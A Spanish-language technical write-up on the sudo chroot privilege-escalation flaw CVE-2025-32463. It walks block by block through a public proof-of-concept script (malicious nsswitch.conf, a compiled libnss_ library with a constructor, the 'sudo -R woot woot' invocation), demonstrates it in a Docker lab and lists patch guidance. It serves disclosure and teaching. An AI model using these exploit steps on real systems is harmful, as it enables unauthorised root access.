
CVE-2025-32463 es una vulnerabilidad de escalada de privilegios local (LPE), reportada por Rich Mirch en el binario sudo. Esta vulnerabilidad permite a un usuario sin privilegios escalar a root mediante el abuso de entornos chroot y recursos del sistema, aprovechando configuraciones inseguras o entradas crafteadas específicamente. Este CVE invierte la lógica base de chroot, una mala gestión de recursos en sudo permiten a un usuario «romper la jaula» y obtener privilegios root.
MITRE define esta vulnerabilidad como Inclusion of Functionality from Untrusted Control Sphere (CWE-829). Afecta al binario sudo desde la versión 1.9.14 a 1.9.17, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. Aquí puedes ver la lista completa con información más detallada sobre esta vulnerabilidad: https://nvd.nist.gov/vuln/detail/cve-2025-32463.
Explicación técnica
Este fallo proviene de la inclusión o uso de configuraciones y/o bibliotecas que residen en rutas controladas por usuarios dentro de un chroot. Es decir, sudo termina usando funcionalidades que no provienen de sus esferas de confianza.
Al invocar con chroot sudo intentará resolver nombres o cargar ciertos componentes desde el entorno controlado por chroot. Si el atacante controla estos archivos, puede inducir cargas o comportamientos maliciosos que no fueron previstos en un primer momento.
¿Que es chroot?
Chroot (Change root) es una función que permite ejecutar un proceso dentro de un entorno aislado, donde la carpeta elegida se convertirá en la «raíz» del sistema específicamente para ese proceso. En otras palabras, todo lo que el programa puede «ver» estará limitado a ese espacio virtual, es básicamente como «encerrarlo en una jaula».
El objetivo es aumentar la seguridad y crear entornos controlados, para pruebas o compilaciones, pero realmente no se comporta como un sandbox, lo que significa que si los permisos del proceso no se han manejado correctamente este podrá «escapar de la jaula» y acceder al sistema real.
Flujo de ataque
El atacante prepara un árbol de chroot controlado, fuerza a sudo a operar contra ese chroot y se aprovecha de que sudo, en contexto privilegiado, puede leer o cargar esos recursos sin validarlos. Al incluir funcionalidad desde una esfera no confiable (CWE-829), el atacante puede inducir la ejecución de código con privilegios elevados y acabar escalando a root. Este comportamiento es el objetivo del PoC público. A continuación lo desglosaremos y lo probaremos en un laboratorio controlado.

Primer bloque (líneas 1–15)
- Creación del directorio temporal
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
Llama amktemppara crear un directorio temporal con un nombre único bajo/tmp.STAGEguardará la ruta (por ejemplo/tmp/sudowoot.stage.K3a2bX) en la variableSTAGE.
- Cambio al directorio temporal
cd ${STAGE?} || exit 1
Cambiará el directorio actual a la ruta guardada previamente enSTAGE. Sicdfalla (por ejemplo, si el directorio no existe), el script saldrá con código1.
- Determinación del comando a ejecutar
if [ $# -eq 0 ]; then
Analiza el número de argumentos pasados al script.- Si no se le pasan argumentos (
$# -eq 0), asignaráCMD="/bin/bash"como comando por defecto. - Si se pasan argumentos,
CMD="$@"guardará esos argumentos para usarlos más adelante como el comando a ejecutar.
- Si no se le pasan argumentos (

Segundo bloque (líneas 16–31)
- Escapado de la cadena para C
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
Prepara una versión de la cadenaCMDdonde los caracteres especiales (por ejemplo\y") quedan escapados. Esto permite insertarla de forma segura en un literal en código C y evita que la sintaxis del fichero se rompa.
- Generación dinámica del fichero fuente en C
cat > woot1337.c<<EOF ... EOF
Crea un fichero fuente C inyectando dentro la cadena escapada. Es una técnica habitual en PoCs y scripts para generar código fuente de forma dinámica desde shell.
- Función con atributo
constructor(comportamiento conceptual)- En el C generado aparece una función marcada con
__attribute__((constructor)).
Conceptualmente, las funciones con este atributo se ejecutan automáticamente cuando la librería se carga en un proceso. La función está diseñada para ejecutar el comando contenido en la cadena cuando la librería sea cargada.
- En el C generado aparece una función marcada con

Tercer bloque (líneas 32–39)
- Creación de la estructura de trabajo
mkdir -p woot/etc libnss_
Crea dos estructuras de directorio:woot/etc— se usará como la estructura tipochroot(archivos de configuración).libnss_— destinada a contener artefactos de biblioteca.
- Preparación de archivos de configuración
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
Escribe un archivonsswitch.confdentro del árbol preparado.
- Población del chroot con archivos del sistema
cp /etc/group woot/etc
Copia un archivo legítimo del sistema al árbol creado para que la estructura resulte coherente y parezca completa.
- Compilación conceptual de una librería
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
Invoca al compilador para producir una librería compartida a partir dewoot1337.c. La idea general es transformar el código fuente en un objeto que pueda ser cargado por el enlazador dinámico.
- Invocación de
sudoapuntando al chrootsudo -R woot woot
Ejecutasudocon la opción-R/--chrootapuntando al árbolwoot, de modo quesudotrate ese árbol como la raíz para la ejecución del comando indicado.
- Limpieza del entorno temporal
rm -rf ${STAGE?}
Elimina el directorio temporal creado al inicio para limpiar rastro.
Prueba de concepto
Ahora que ha quedado claro el funcionamiento y el flujo de ataque de este PoC vamos a verlo de forma práctica, clonaremos el siguiente repositorio: https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

ejecutaremos el scrip run.sh que nos creara un contenedor de docker con un Ubuntu 24.04 vulnerable.

Una vez el contenedor se haya montado directamente en la terminal tendremos acceso al mismo, podremos ver que si ejecutamos whoami somos el usuario pwn.

Ahora al ejecutar el comando ls veremos un archivo llamado sudo-chwoot.sh el cual contiene el script desglosado anteriormente y que nos permitirá hacer la escalada de privilegios.

A primera vista, este PoC puede parecer directo y relativamente fácil de reproducir. Al final el objetivo de la mayoría de PoCs es automatizar un proceso que en la práctica exige horas de análisis, pruebas, fallos y ajustes, quedarse solo con una versión vulnerable y un script funcional es ver la punta del iceberg. Al desmenuzarlo, descubrimos que dentro del mismo hay complejidad y aprendizaje y es precisamente ese trabajo el que aporta verdadero valor.
Mitigaciones/Playbook
- Instalar binario sudo 1.9.17p1 o posterior.
- Visitar https://www.sudo.ws/security/advisories/chroot_bug para obtener más información.
Referencias
- https://wiki.archlinux.org/title/Chroot_(Español)
- https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot
- https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/blob/main/sudo-chwoot.sh
- https://araintel.com/author/excal1bur
- https://www.stratascale.com/team/rich-mirch
- https://danielmb.es























